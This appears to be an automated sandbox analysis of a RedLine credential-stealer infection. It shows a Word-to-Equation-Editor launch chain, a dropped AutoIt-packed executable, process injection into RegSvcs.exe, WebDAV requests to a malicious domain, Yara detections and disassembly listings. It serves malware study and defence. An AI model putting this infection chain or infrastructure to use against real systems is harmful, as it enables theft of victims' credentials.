Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.22	49174	172.67.162.95	443

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:15 UTC	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 75 6e 69 76 65 72 73 61 6c 6d 6f 76 69 65 73 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: universalmovies.top
2024-06-24 16:23:15 UTC	746	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 24 Jun 2024 16:23:15 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v0rC%2B2W51%2BQ%2BW77jjDyshEsR8BvIjEPC%2FF0FgN0kdyF2%2FIf%2F7nKNQdJNA91F%2FIMxWhHcyOQJpJEuo9voDWt939skpB11Qtj%2BVg8BnPmMTbVhGpdvujwmxJ5ZgTd2%2Fh7YyHg%2BCXrC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0fb2aeee42b9-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:15 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-06-24 16:23:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.22	49175	104.21.74.191	443

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:17 UTC	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 75 6e 69 76 65 72 73 61 6c 6d 6f 76 69 65 73 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: universalmovies.top
2024-06-24 16:23:17 UTC	734	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 24 Jun 2024 16:23:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tP2UtWyBHxHrw1Psnmeu3gkNqf3gO9QquQbRhnkcePc5I7qyYkXBnB2%2BbeC2JtWLBBzmXxHcoUMlLyqJmnBaemqh8PIR8%2BwZq9tlpX2YFsLaxl8NapCbnFKQmf%2BnYoP5%2BhCFVKb2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0fbc5d700c82-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:17 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-06-24 16:23:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:22:52
Start date:	24/06/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f280000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:23:10
Start date:	24/06/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:23:12
Start date:	24/06/2024
Path:	C:\Users\user\AppData\Roaming\notorious53209.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\notorious53209.exe"
Imagebase:	0x230000
File size:	644'096 bytes
MD5 hash:	901A623DBCCAA22525373CD36195EE14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:23:13
Start date:	24/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\notorious53209.exe"
Imagebase:	0x1f0000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	59

Executed Functions

Function 00233B4C Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00233B7A
IsDebuggerPresent.KERNEL32 ref: 00233B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,002F62F8,002F62E0,?,?), ref: 00233BFD

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

Part of subcall function 00240A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00233C26,002F62F8,?,?,?), ref: 00240ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00233C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,002E93F0,00000010), ref: 0026D4BC
SetCurrentDirectoryW.KERNEL32(?,002F62F8,?,?,?), ref: 0026D4F4
GetForegroundWindow.USER32 ref: 0026D57A
ShellExecuteW.SHELL32(00000000,?,?), ref: 0026D581

Part of subcall function 00233A58: GetSysColorBrush.USER32(0000000F), ref: 00233A62
Part of subcall function 00233A58: LoadCursorW.USER32(00000000,00007F00), ref: 00233A71
Part of subcall function 00233A58: LoadIconW.USER32(00000063), ref: 00233A88
Part of subcall function 00233A58: LoadIconW.USER32(000000A4), ref: 00233A9A
Part of subcall function 00233A58: LoadIconW.USER32(000000A2), ref: 00233AAC
Part of subcall function 00233A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00233AD2
Part of subcall function 00233A58: RegisterClassExW.USER32(?), ref: 00233B28

Part of subcall function 002339E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00233A15
Part of subcall function 002339E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00233A36
Part of subcall function 002339E7: ShowWindow.USER32(00000000), ref: 00233A4A
Part of subcall function 002339E7: ShowWindow.USER32(00000000), ref: 00233A53

Part of subcall function 002343DB: _memset.LIBCMT ref: 00234401
Part of subcall function 002343DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 002344A6

Strings

runas, xrefs: 0026D575
This is a third-party compiled AutoIt script., xrefs: 0026D4B4
%,, xrefs: 00233C56

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%,
API String ID: 529118366-2593762326
Opcode ID: 2b8667f917227e0625fc597a12f448c6770a1dad86d20da5124890c9f9edc8d9
Instruction ID: a14cf4bdfdc4b3b1f463a47e5a362bf0e7fadbaa65b4dee04902fbfd5b828ddf
Opcode Fuzzy Hash: 2b8667f917227e0625fc597a12f448c6770a1dad86d20da5124890c9f9edc8d9
Instruction Fuzzy Hash: D551E3B0A2424DAECF11EBB4AC0DAFD7B74EB05790F0041B6F911A21A1CA709B65DF21

Function 00233633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
timewindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 002336D2
KillTimer.USER32(?,00000001), ref: 002336FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0023371F
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 0023372A
CreatePopupMenu.USER32 ref: 0023373E
PostQuitMessage.USER32(00000000), ref: 0023375F

Strings

TaskbarCreated, xrefs: 00233725
%,, xrefs: 0026D2D1, 0026D31F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Timer$ClipboardCreateFormatKillMenuMessageNtdllPopupPostProc_QuitRegisterWindow
String ID: TaskbarCreated$%,
API String ID: 157504867-2061783509
Opcode ID: 030c66a0fa770ef22fa7d52210a2eeb42d245209a459e89be2c048b966e3c6c0
Instruction ID: 7bd7b346bb2b44fdab580c2b3f4840133f72e058ea494b5a06336da4ec18e732
Opcode Fuzzy Hash: 030c66a0fa770ef22fa7d52210a2eeb42d245209a459e89be2c048b966e3c6c0
Instruction Fuzzy Hash: 1941E7F163010ABBDB14AF38ED0EB797759E700390F140179FA02862A1DAA0AF75DB65

Function 00234FE9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00234FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00234EEE,?,?,00000000,00000000), ref: 00235010
LoadResource.KERNEL32(?,00000000,?,?,00234EEE,?,?,00000000,00000000,?,?,?,?,?,?,00234F8F), ref: 0026DD60
SizeofResource.KERNEL32(?,00000000,?,?,00234EEE,?,?,00000000,00000000,?,?,?,?,?,?,00234F8F), ref: 0026DD75
LockResource.KERNEL32(N#,?,?,00234EEE,?,?,00000000,00000000,?,?,?,?,?,?,00234F8F,00000000), ref: 0026DD88

Strings

SCRIPT, xrefs: 00235006
N#, xrefs: 0026DD85

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT$N#
API String ID: 3051347437-1078319982
Opcode ID: 793a7df2034277d7c8974ddab0d62103cd9eaa5b4178162f993d6390a5b3fcba
Instruction ID: c8c22fb99e3debdc05bc8abb45c571368f5e5505a4f9c335bfad8f5f867d9e91
Opcode Fuzzy Hash: 793a7df2034277d7c8974ddab0d62103cd9eaa5b4178162f993d6390a5b3fcba
Instruction Fuzzy Hash: 561170B5210701BFD7258F65ED58F677BB9EBC9B51F10826CF809D6260DB72EC108660

Function 00234AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00234B2B

Part of subcall function 00237D2C: _memmove.LIBCMT ref: 00237D66

GetCurrentProcess.KERNEL32(?,002BFAEC,00000000,00000000,?), ref: 00234BF8
IsWow64Process.KERNEL32(00000000), ref: 00234BFF
GetNativeSystemInfo.KERNEL32(00000000), ref: 00234C45
FreeLibrary.KERNEL32(00000000), ref: 00234C50
GetSystemInfo.KERNEL32(00000000), ref: 00234C81
GetSystemInfo.KERNEL32(00000000), ref: 00234C8D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 59cd3e631076ac469f03881b3d5deae6004aa83c2d48e1db3db02da43becb824
Instruction ID: bb93d5fabcf3b48e8e6a0aff0573bf10c1e8db33f241cb13ef3c02683d7a3f9f
Opcode Fuzzy Hash: 59cd3e631076ac469f03881b3d5deae6004aa83c2d48e1db3db02da43becb824
Instruction Fuzzy Hash: F391247196A7C4DEC731DF6885511AAFFE5AF2A300F484E9ED0CA83A01D260F958C729

Function 0034F090 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 0034F1CA
GetProcAddress.KERNEL32(?,00348FF9), ref: 0034F1E8
ExitProcess.KERNEL32(?,00348FF9), ref: 0034F1F9
VirtualProtect.KERNELBASE(00230000,00001000,00000004,?,00000000), ref: 0034F247
VirtualProtect.KERNEL32(00230000,00001000), ref: 0034F25C

Memory Dump Source

Source File: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: d372991fa217411844673beec113e994bdfea18e7d515e1bac542b4a366faa4c
Instruction ID: 0bf6083790a47723d4d13d4e032bdd6f0080653021f621e42c5462ae3f3843da
Opcode Fuzzy Hash: d372991fa217411844673beec113e994bdfea18e7d515e1bac542b4a366faa4c
Instruction Fuzzy Hash: 8F511772A547529FD7229EB8CCC0661B7E4EB91324B2D0739C5E1CF7C6E7A4780A8760

Function 0023E800 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Dt/, xrefs: 00273F58
Variable must be of type 'Object'., xrefs: 0027428C
Dt/, xrefs: 0023EC21
Dt/, xrefs: 00273F1F
Dt/, xrefs: 0023EC1A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: Dt/$Dt/$Dt/$Dt/$Variable must be of type 'Object'.
API String ID: 0-1126206128
Opcode ID: 5e2da88ef55e3c51f41d83de0a017eaeb1e67ca68b76f1d7ced87f2f3f00173d
Instruction ID: bd9ed2efa6b5c7f37d10623405046632b25b3b39456a54ce12c103ceb94045a7
Opcode Fuzzy Hash: 5e2da88ef55e3c51f41d83de0a017eaeb1e67ca68b76f1d7ced87f2f3f00173d
Instruction Fuzzy Hash: E3A28EB4A20206CFCF14DF58D580AADB7B1FF48314F258069E91AAB391D771ED66CB81

Function 00294696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0026E7C1), ref: 002946A6
FindFirstFileW.KERNELBASE(?,?), ref: 002946B7
FindClose.KERNEL32(00000000), ref: 002946C7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 9acc0bd95078e6efb3acd1ad9e71ab733b45805a0b305d6e78bc051a30aa32ab
Instruction ID: fc5272b895b79d9b9eb774d25dd63968102240f15be5655a80718ed2bb37016e
Opcode Fuzzy Hash: 9acc0bd95078e6efb3acd1ad9e71ab733b45805a0b305d6e78bc051a30aa32ab
Instruction Fuzzy Hash: 21E0D8714204015B4A107738FC4D8EA779C9E06335F100715F935C14E0E7B059608595

Function 00240B30 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00240BBB
timeGetTime.WINMM ref: 00240E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00240FB3
TranslateMessage.USER32(?), ref: 00240FC7
DispatchMessageW.USER32(?), ref: 00240FD5
Sleep.KERNEL32(0000000A), ref: 00240FDF
LockWindowUpdate.USER32(00000000), ref: 0024105A
DestroyWindow.USER32 ref: 00241066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00241080
Sleep.KERNEL32(0000000A,?,?), ref: 002752AD
TranslateMessage.USER32(?), ref: 0027608A
DispatchMessageW.USER32(?), ref: 00276098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002760AC

Strings

@TRAY_ID, xrefs: 00275BB9
pr/, xrefs: 00275383
@GUI_WINHANDLE, xrefs: 002753B9
pr/, xrefs: 0027542D
@GUI_CTRLID, xrefs: 00275364
pr/, xrefs: 002753D8
pr/, xrefs: 00275BDE
@COM_EVENTOBJ, xrefs: 0027591A
@GUI_CTRLHANDLE, xrefs: 0027540E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
